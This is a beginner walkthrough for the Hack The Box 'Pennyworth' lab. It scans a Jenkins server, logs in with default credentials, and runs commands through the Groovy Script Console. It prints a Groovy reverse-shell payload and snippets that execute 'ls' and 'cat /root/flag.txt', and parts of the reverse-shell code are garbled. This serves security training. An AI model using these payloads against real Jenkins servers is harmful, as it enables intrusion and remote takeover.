The aim of this walkthrough is to provide help with the Pennyworth machine on the Hack The Box website. Please note that no flags are directly provided here. Moreover, be aware that this is only one of the many ways to solve the challenges.

It belongs to a series of tutorials that aim to help out complete beginners with finishing the Starting Point TIER 1 challenges.


There are a couple of ways to connect to the target machine. The one we will be using throughout this walkthrough is via the provided pwnbox.

Once our connection is taken care of, we spawn the target machine.

Additionally - even though not required - it is possible to set a local variable (only available in the current shell) containing our target host’s IP address. Once set, we can easily access it by prepending a $ to our variable name.

└──╼ $rhost=<target-hosts-ip>
└──╼ $ echo $rhost 
└──╼ $

We could use the unset command to remove it after we no longer need it.

└──╼ $unset rhost 
└──╼ $


Question: What does the acronym CVE stand for?

Looking up cve online delivers as expected.

common vulnerabilities and exposures


Question: What do the three letters in CIA, referring to the CIA triad in cybersecurity, stand for?

Just like before, using a quick internet search should provide us with the correct answer.

confidentiality, integrity, availability


Question: What is the version of the service running on port 8080?

As always, we start out with a quick connection check.

└──╼ $ping $rhost -c 4
PING ( 56(84) bytes of data.
64 bytes from icmp_seq=1 ttl=63 time=11.1 ms
64 bytes from icmp_seq=2 ttl=63 time=11.1 ms
64 bytes from icmp_seq=3 ttl=63 time=11.3 ms
64 bytes from icmp_seq=4 ttl=63 time=11.0 ms

--- ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 10.990/11.105/11.251/0.095 ms
└──╼ $

We continue with scanning the top 1000 tcp ports on our target with both the -sC option (for default scripts usage) and the -sV option (determine the running service and it’s version) set.

└──╼ $nmap -sC -sV $rhost 
Starting Nmap 7.93 ( ) at 2023-05-10 11:13 BST
Nmap scan report for
Host is up (0.084s latency).
Not shown: 999 closed tcp ports (conn-refused)
8080/tcp open  http    Jetty 9.4.39.v20210325
|_http-server-header: Jetty(9.4.39.v20210325)
| http-robots.txt: 1 disallowed entry 
|_http-title: Site doesn't have a title (text/html;charset=utf-8).

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 7.82 seconds
└──╼ $

It looks like our target is running a web server.

Jetty 9.4.39.v20210325


Question: What version of Jenkins is running on the target?

Using whatweb to get a fingerprint of the server does reveal some interesting information. Like the fact that it uses Jenkins and that direct access to the landing page - http://$rhost:8080/ - is forbidden.

└──╼ $whatweb http://$rhost:8080/ [403 Forbidden] Cookies[JSESSIONID.44a92248], Country[RESERVED][ZZ], HTTPServer[Jetty(9.4.39.v20210325)], HttpOnly[JSESSIONID.44a92248], IP[], Jenkins[2.289.1], Jetty[9.4.39.v20210325], Meta-Refresh-Redirect[/login?from=%2F], Script, UncommonHeaders[x-content-type-options,x-hudson,x-jenkins,x-jenkins-session] [200 OK] Cookies[JSESSIONID.44a92248], Country[RESERVED][ZZ], HTML5, HTTPServer[Jetty(9.4.39.v20210325)], HttpOnly[JSESSIONID.44a92248], IP[], Jenkins[2.289.1], Jetty[9.4.39.v20210325], PasswordField[j_password], Script[text/javascript], Title[Sign in [Jenkins]], UncommonHeaders[x-content-type-options,x-hudson,x-jenkins,x-jenkins-session,x-instance-identity], X-Frame-Options[sameorigin]
└──╼ $

Interestingly, once we try to access the webpage in our browser, we are redirected to a Jenkins login page.




Question: What type of script is accepted as input on the Jenkins Script Console?

Not quite done with recon, so we continue. But, since

  • the landing page is restricted,
  • accessing the landing page triggers redirection to the login page,

our dir busting with gobuster will fail in it’ default configuration.

└──╼ $gobuster dir -u http://$rhost:8080/ -w /usr/share/wordlists/dirb/common.txt
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:           
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
2023/05/10 11:38:05 Starting gobuster in directory enumeration mode
Error: the server returns a status code that matches the provided options for non existing urls. => 403 (Length: 613). To continue please exclude the status code, the length or use the --wildcard switch
└──╼ $

Nevertheless, gobuster is nice enough to give us some ideas to try out. One of them is simply excluding the 403 Forbidden response status code from the results.

└──╼ $gobuster dir -u http://$rhost:8080/ -w /usr/share/wordlists/dirb/common.txt -b 403
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:           
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   403
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
2023/05/10 11:38:08 Starting gobuster in directory enumeration mode
/assets               (Status: 302) [Size: 0] [-->]
/error                (Status: 400) [Size: 6241]                                      
/favicon.ico          (Status: 200) [Size: 17542]                                     
/git                  (Status: 302) [Size: 0] [-->]   
/login                (Status: 200) [Size: 2028]                                      
/logout               (Status: 302) [Size: 0] [-->]       
/meta-inf             (Status: 404) [Size: 452]                                       
/META-INF             (Status: 404) [Size: 452]                                       
/robots.txt           (Status: 200) [Size: 71]                                        
/signup               (Status: 404) [Size: 6205]                                      
/WEB-INF              (Status: 404) [Size: 451]                                       
/web-inf              (Status: 404) [Size: 451]                                       
2023/05/10 11:38:14 Finished
└──╼ $

Checking out the pages that we found does reveal some interesting information. One of them is the content of the robots.txt.

└──╼ $curl http://$rhost:8080/robots.txt
# we don't want robots to click "build" links
User-agent: *
Disallow: /
└──╼ $

An other one is the search bar that we can access by opening either the - http://$rhost:8080/error - or the - http://$rhost:8080/signup - page.

Additionally, one other thing maybe worth looking into is the modified url.

Searching for - test - via the search bar on the /signup page redirects us to the login page but with some interesting url parameter values:

Once we url decode it (online decoder or using the decoder in burp) it becomes:

Doing a quick online search on Jenkins-Crumb reveals that it might be used as a protection against CSRF (cross-site-request-forgery) attacks. Here is the info we found on the computed hash part:

The Default Crumb Issuer encodes the following information in the hash used as crumb:
- The user name that the crumb was generated for
- The web session ID that the crumb was generated in
- The IP address of the user that the crumb was generated for
- A salt unique to this Jenkins instance

We take a note of if and we continue with our recon.

Since we already found a login page, let us try some default credentials. We get lucky fairly quickly: it is still left with the

default credentials

configured. Once we log in, we are welcomed with a Dashboard and a couple of other control options.


But since this is our first login, we must take a proper look around. One possibly (very) important discovery we make is the Script Console. It is accessible via Manage Jenkins (#1) -> Script Console (#2) or directly accessing - http://$rhost:8080/script - once already authenticated.




One thing we take a note of is the Script Console's description.

Type in an arbitrary Groovy script and execute it on the server.

It not only directly solves the current TASK for us, but it also provides us with a hint that can help us with planning our next course of actions.

We run the given example command to verify if the console really works.

/* example command */

And in fact it does, it even displays the output for us. How nice… but also, how dangerous.




Question: What would the "String cmd" variable from the Groovy Script snippet be equal to if the Target VM was running Windows?

The way the command execution that we found in TASK5 actually works is quite simple:

  • we feed the Script Console a groovy script (in this case our crafted payload)
  • the script get’s executed on the target system
  • output is displayed under Result

Since we already found the vulnerability, we already inspected it, tested it, it is now finally time to exploit it. One of the first exploits that we find online is this one:

String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(;while(pe.available()>0)so.write(;while(si.available()>0)po.write(;so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

This would in theory - once run on our target - spawn a reverse shell and connect back to us (our local machine). It’s nice and it does in fact answer our TASK, but how about something simpler, something else…

This is one of the other exploits we found:

def sout = new StringBuilder(), serr = new StringBuilder()
def proc = 'ls'.execute()
proc.consumeProcessOutput(sout, serr)
println "out> $sout err> $serr"

In principle, it would simply execute the command that is placed between the two apostrophes - '<our-command>'.execute() - on our target, and display the results on the webpage. Once run, this is the result we get back:

out> bin

It look’s like we are located in our target system’s root (/) directory. Looking around a bit, like with

def proc = 'ls /root/'.execute()

reveals our flag’s location at - /root/flag.txt -.



Question: What is a different command than "ip a" we could use to display our network interfaces’ information on Linux?

Using the internet never get’s old.



Question: What switch should we use with netcat for it to use UDP transport mode?

And neither does using a command’s built-in help option.

└──╼ []$ nc --help
Ncat 7.93 ( )
Usage: ncat [options] [hostname] [port]

Options taking a time assume seconds. Append 'ms' for milliseconds,
's' for seconds, 'm' for minutes, or 'h' for hours (e.g. 500ms).
  -u, --udp                  Use UDP instead of default TCP



Question: What is the term used to describe making a target host initiate a connection back to the attacker host?

One of the exploits we found in TASK6 does exactly this.

reverse shell


Question: Submit root flag

Since we already located the flag in TASK6, all that’s left to do is to modify our exploit so that it directly displays the flag.

def sout = new StringBuilder(), serr = new StringBuilder()
def proc = 'cat /root/flag.txt'.execute()
proc.consumeProcessOutput(sout, serr)
println "out> $sout err> $serr"

Once run, the flag is visible under Result.



Congratulations, we just successfully pwned the target machine. All we have left to do now is to terminate the target box (if not terminated automatically) before we continue with the next box!